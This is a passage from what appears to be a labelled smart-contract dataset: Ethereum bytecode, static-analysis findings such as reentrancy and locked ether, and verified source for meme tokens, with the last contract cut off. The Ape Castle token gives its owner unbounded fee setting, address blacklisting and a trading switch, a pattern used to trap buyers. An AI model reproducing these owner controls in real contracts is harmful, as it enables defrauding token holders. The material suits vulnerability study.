1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158201425f36bccfa1a6a6aecdc1812a5b87adf14cabf719b6e7e6cb5ea5f8e7eb0b664736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
9,502
0x4b7f1d1380c1c5879e789bdc28399784fafe2a76
/** *Submitted for verification at Etherscan.io on 2022-03-18 */ /* Telegram: https://t.me/apecastle Web - www.apecastle.com Twitter - https://twitter.com/ApeCastle_ ░█████╗░██████╗░███████╗  ░█████╗░░█████╗░░██████╗████████╗██╗░░░░░███████╗ ██╔══██╗██╔══██╗██╔════╝  ██╔══██╗██╔══██╗██╔════╝╚══██╔══╝██║░░░░░██╔════╝ ███████║██████╔╝█████╗░░  ██║░░╚═╝███████║╚█████╗░░░░██║░░░██║░░░░░█████╗░░ ██╔══██║██╔═══╝░██╔══╝░░  ██║░░██╗██╔══██║░╚═══██╗░░░██║░░░██║░░░░░██╔══╝░░ ██║░░██║██║░░░░░███████╗  ╚█████╔╝██║░░██║██████╔╝░░░██║░░░███████╗███████╗ ╚═╝░░╚═╝╚═╝░░░░░╚══════╝  ░╚════╝░╚═╝░░╚═╝╚═════╝░░░░╚═╝░░░╚══════╝╚══════╝ Ape Coin (BAYC) is where all the madness started from and it's $Apecastle it comes back to #gamingnftlaunch #stealth #play2earn Max Transaaction - 1.5% Max Wallet - 2.5% */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract apecastlecontract is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ape Castle"; string private constant _symbol = "APE CASTLE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x32000b1a08fda29E232Dfe8430cB39e3280039eC); address payable private _marketingAddress = payable(0x32000b1a08fda29E232Dfe8430cB39e3280039eC); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 15000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b657600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611965565b610601565b005b34801561020a57600080fd5b5060408051808201909152600a81526941706520436173746c6560b01b60208201525b60405161023a9190611a2a565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a7f565b6106a0565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aab565b6106b7565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611aec565b610720565b34801561036e57600080fd5b506101fc61037d366004611b19565b61076b565b34801561038e57600080fd5b506101fc6107b3565b3480156103a357600080fd5b506102c26103b2366004611aec565b6107fe565b3480156103c357600080fd5b506101fc610820565b3480156103d857600080fd5b506101fc6103e7366004611b34565b610894565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611aec565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b19565b6108c3565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600a81526941504520434153544c4560b01b602082015261022d565b3480156104c257600080fd5b506101fc6104d1366004611b34565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b4d565b61093a565b34801561050257600080fd5b50610263610511366004611a7f565b610978565b34801561052257600080fd5b50610263610531366004611aec565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b7f565b6109d9565b34801561058757600080fd5b506102c2610596366004611c03565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b34565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611aec565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c3c565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c9d565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611db7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c3c565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c3c565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c3c565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c3c565b60005b82811015610a74578160056000868685818110610a2557610a25611c71565b9050602002016020810190610a3a9190611aec565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c9d565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c3c565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cb8565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611474565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611cd0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d86114a2565b90506112e483826114c5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c71565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611ce7565b816001815181106113d2576113d2611c71565b6001600160a01b0392831660209182029290920101526014546113f89130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d04565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148157611481611507565b61148c848484611535565b80610a7457610a74600e54600c55600f54600d55565b60008060006114af61162c565b90925090506114be82826114c5565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b600c541580156115175750600d54155b1561151e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115478761169a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157990876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a89086611739565b6001600160a01b0389166000908152600260205260409020556115ca81611798565b6115d484836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161991815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164782826114c5565b82101561166357505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168d5760405162461bcd60e51b815260040161062b9190611a2a565b5060006112248486611d75565b60008060008060008060008060006116b78a600c54600d54611806565b92509250925060006116c76114a2565b905060008060006116da8e87878761185b565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117468385611cb8565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b60006117a26114a2565b905060006117b083836118ab565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6006546117ef90836116f7565b6006556007546117ff9082611739565b6007555050565b6000808080611820606461181a89896118ab565b906114c5565b90506000611833606461181a8a896118ab565b9050600061184b826118458b866116f7565b906116f7565b9992985090965090945050505050565b600080808061186a88866118ab565b9050600061187888876118ab565b9050600061188688886118ab565b905060006118988261184586866116f7565b939b939a50919850919650505050505050565b6000826118ba575060006106b1565b60006118c68385611d97565b9050826118d38583611d75565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561196081611940565b919050565b6000602080838503121561197857600080fd5b823567ffffffffffffffff8082111561199057600080fd5b818501915085601f8301126119a457600080fd5b8135818111156119b6576119b661192a565b8060051b604051601f19603f830116810181811085821117156119db576119db61192a565b6040529182528482019250838101850191888311156119f957600080fd5b938501935b82851015611a1e57611a0f85611955565b845293850193928501926119fe565b98975050505050505050565b600060208083528351808285015260005b81811015611a5757858101830151858201604001528201611a3b565b81811115611a69576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9257600080fd5b8235611a9d81611940565b946020939093013593505050565b600080600060608486031215611ac057600080fd5b8335611acb81611940565b92506020840135611adb81611940565b929592945050506040919091013590565b600060208284031215611afe57600080fd5b81356112e481611940565b8035801515811461196057600080fd5b600060208284031215611b2b57600080fd5b6112e482611b09565b600060208284031215611b4657600080fd5b5035919050565b60008060008060808587031215611b6357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9457600080fd5b833567ffffffffffffffff80821115611bac57600080fd5b818601915086601f830112611bc057600080fd5b813581811115611bcf57600080fd5b8760208260051b8501011115611be457600080fd5b602092830195509350611bfa9186019050611b09565b90509250925092565b60008060408385031215611c1657600080fd5b8235611c2181611940565b91506020830135611c3181611940565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb157611cb1611c87565b5060010190565b60008219821115611ccb57611ccb611c87565b500190565b600082821015611ce257611ce2611c87565b500390565b600060208284031215611cf957600080fd5b81516112e481611940565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d545784516001600160a01b031683529383019391830191600101611d2f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db157611db1611c87565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c9d0350826f207e5b390e609628c1699f67cfc6b140f0b02412477b22ee4da0564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
9,503
0x35717c9b744ba7cb85714931d148c0c98bef972b
/** *Submitted for verification at Etherscan.io on 2021-11-09 */ //104 116 116 112 115 58 47 47 116 46 109 101 47 65 108 112 104 97 76 97 117 110 99 104 101 115 //ASCII // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Gertrude is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Gertrude"; string private constant _symbol = "Gerty"; uint8 private constant _decimals = 9; // 